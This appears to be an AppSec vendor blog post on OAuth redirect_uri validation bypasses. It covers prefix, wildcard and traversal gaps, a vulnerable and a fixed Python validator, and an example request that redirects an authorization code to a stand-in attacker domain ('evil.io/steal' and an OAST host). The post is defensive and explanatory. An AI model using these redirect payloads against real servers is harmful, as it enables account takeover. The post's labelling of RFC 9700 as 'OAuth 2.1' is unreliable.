AppSec · Aug 23, 2026 · 6 min read

OAuth redirect_uri validation: confirming a code interception path

A permissive redirect_uri pattern is reachable - confirming the authorization code lands on an attacker-controlled destination converts a misconfiguration into a provable account takeover path.

An OAuth 2.0 authorization server that validates redirect_uri by prefix or pattern instead of exact string is reachable. A probe that confirms the authorization code actually arrives at an attacker-controlled destination converts a configuration finding into a provable account takeover path - the difference between the two determines how the finding ships, and how the severity is rated.

01The authorization code flow and where the code lands

In the authorization code flow, the authorization server issues a short-lived, single-use code and redirects the user agent to the client's registered redirect_uri, appending the code as a query parameter. The client then exchanges that code at the token endpoint for an access token. The entire security model of the flow depends on the code landing only at a destination the client registered. If the server accepts a redirect_uri value that differs from the registered one - because validation is a prefix check or a pattern match rather than an exact-string comparison - an attacker can shift where the code lands, collect it before the legitimate client does, and exchange it for a valid access token. The victim sees a transient login failure at worst; nothing in the OAuth flow surfaces an alert.

User agent Auth server Token endpoint ──► GET /authorize?response_type=code &client_id=app1 &redirect_uri=https://app.example.com/cb ──► exact-match check: registered == requested ◄── 302 https://app.example.com/cb?code=SX8qKm ──► GET /cb?code=SX8qKm [code at client] ──► POST /token code=SX8qKm ──► access_token=eyJ... Prefix-bypass variant: ──► GET /authorize?...&redirect_uri=https://app.example.com.evil.io/steal ──► prefix check: startswith('https://app.example.com') - PASS ◄── 302 https://app.example.com.evil.io/steal?code=SX8qKm code arrives at attacker origin, never at client
Exact-match validation locks the redirect to the registered destination. A prefix or pattern check lets an attacker shift it to a domain they control without triggering any server-side rejection.

02Three validation gaps that hand the code to an attacker

Vulnerable implementations fail in one of three specific ways. Prefix matching accepts any URI that starts with the registered value, so https://app.example.com.evil.io/steal passes a prefix check against https://app.example.com/cb. Subdomain wildcard entries like https://*.example.com/cb accept any subdomain - including one the attacker registers, one that hosts attacker-controlled content via an open redirect, or one that has been taken over via a dangling DNS record. Path traversal applies when the server normalizes the URI before matching: /cb/../../attacker-path resolves to a different path after normalization but passes the pre-normalization check. All three patterns share the same root cause: the server compares something other than the fully-parsed, fully-normalized registered value. The fix is a single exact-string comparison on the parsed components - no amount of pattern sophistication closes the gap as reliably as a straight equality check.

redirect-uri-validator.pypython
# Vulnerable: prefix match accepts any URI starting with the registered value
def is_valid_redirect_uri_bad(registered, requested):
    return requested.startswith(registered)   # WRONG - prefix bypass trivially possible

# Correct: parse both URIs and compare scheme, host, and path as components
from urllib.parse import urlparse

def is_valid_redirect_uri(registered: str, requested: str) -> bool:
    r1 = urlparse(registered)
    r2 = urlparse(requested)
    return (
        r1.scheme == r2.scheme and    # https != http
        r1.netloc == r2.netloc and    # exact host + port
        r1.path   == r2.path          # exact path; query intentionally excluded
    )
Validation approachBypass mechanismExample gap
Prefix matchExtend the URI with attacker domain after the registered prefixapp.example.com.evil.io/steal passes prefix app.example.com
Regex with dot-starInject a subdomain owned or reachable by attacker.*\.example\.com matches attacker.example.com
Subdomain wildcardRegister, take over, or plant content on a matching subdomain*.example.com/cb accepts dangling.example.com/cb
Path traversalNormalize away the allowed path segment before landing/cb/../../steal becomes /steal after server normalization
Exact string matchNone - only the registered value is accepted at parse timeapp.example.com/cb != app.example.com.evil.io/steal

03The confirming probe: code arrives at the tester's endpoint

Confirming a redirect_uri bypass requires two separate observations. First: the authorization server accepts the modified URI and issues a 302 redirect pointing to it. Second: the authorization code actually appears at the destination the probe controls. A server that rejects the modified URI at step one is not vulnerable. A server that accepts it but strips the code from the redirect is a partial implementation worth examining further but is not the full bypass. The probe uses a nonce-tagged OAST callback as the redirect destination, which makes code arrival unambiguous and separable from any background request noise. The code is never exchanged at the token endpoint - the probe stops at confirming arrival. Nothing is written, no session is created, and no production resource is accessed.

oauth-redirect-probe.httphttp
# Step 1: initiate authorization with a prefix-bypassing redirect_uri
GET /oauth/authorize
    ?response_type=code
    &client_id=app1
    &redirect_uri=https://app.example.com.62615533.oast.example/steal
    &state=nonce-62615533
    &scope=openid+profile

HTTP/1.1 302 Found
Location: https://app.example.com.62615533.oast.example/steal?code=kTpX7wZ2QmN&state=nonce-62615533

# Step 2: OAST callback log at 62615533.oast.example confirms code arrival
# GET /steal?code=kTpX7wZ2QmN&state=nonce-62615533  [received]
# Code is NOT sent to /token. Interception confirmed - probe complete.
Proven - CriticalOAuth redirect_uri prefix bypass - authorization code interception - /oauth/authorize
GET /oauth/authorize?response_type=code&client_id=app1 &redirect_uri=https://app.example.com.62615533.oast.example/steal &state=nonce-62615533 ──► 302 Location: ...62615533.oast.example/steal?code=kTpX7wZ2QmN baseline (registered URI) ──► 302 to app.example.com/cb - code at client probe (prefix bypass) ──► 302 to probe domain - code at OAST callback
Oracle: OAST callback log confirms code arrival at attacker-controlled domain. Code is not exchanged. Severity critical: a real attacker exchanges the code at the token endpoint before the legitimate client does, yielding full session access. No account accessed during the confirming step.

04Severity and the one configuration that closes all three gaps

An authorization code that arrives at an attacker-controlled origin is a critical finding because the downstream consequence is unambiguous: the attacker exchanges it at the token endpoint for a valid access token before the legitimate client can, taking over the authenticated session. The victim sees a transient login failure at worst. Because the code is single-use, the exchange is a zero-sum race that the attacker wins by arriving first at the token endpoint. The probe confirms code arrival at the attacker's domain, and the rest of the chain is deterministic: any client ID with a valid client secret - or a public client with no secret at all - completes the exchange. Rate this confirmed-critical, not conditional, not "depends on what the attacker can do with the code." They can do everything the legitimate user can do.

3
validation gap variants closing the same root cause
0
accounts accessed during the confirming probe
1
fix: exact parsed-URI match closes all three

The authoritative remediation is exact-match validation: parse both the registered and the requested redirect_uri at client-registration time and authorization-request time, then compare scheme, host, and path component-by-component. RFC 9700 (OAuth 2.1) makes exact match mandatory and eliminates wildcard registration entirely. Any deviation - a prefix shortcut for developer convenience, a wildcard to support multiple subdomains, a regex that seemed safe - reopens one of the three gaps above. The fix is a single equality check; the cost of skipping it is an account takeover primitive available to any party who can initiate an authorization flow for the affected client.

Evidence over heuristicsReachable beats foundMonitor → Block: rolling out a gate without slowing teamsIaC-grounded threat modelingAir-gapped AppSec with no phone-homeOne platform vs three tools
See it on your own app →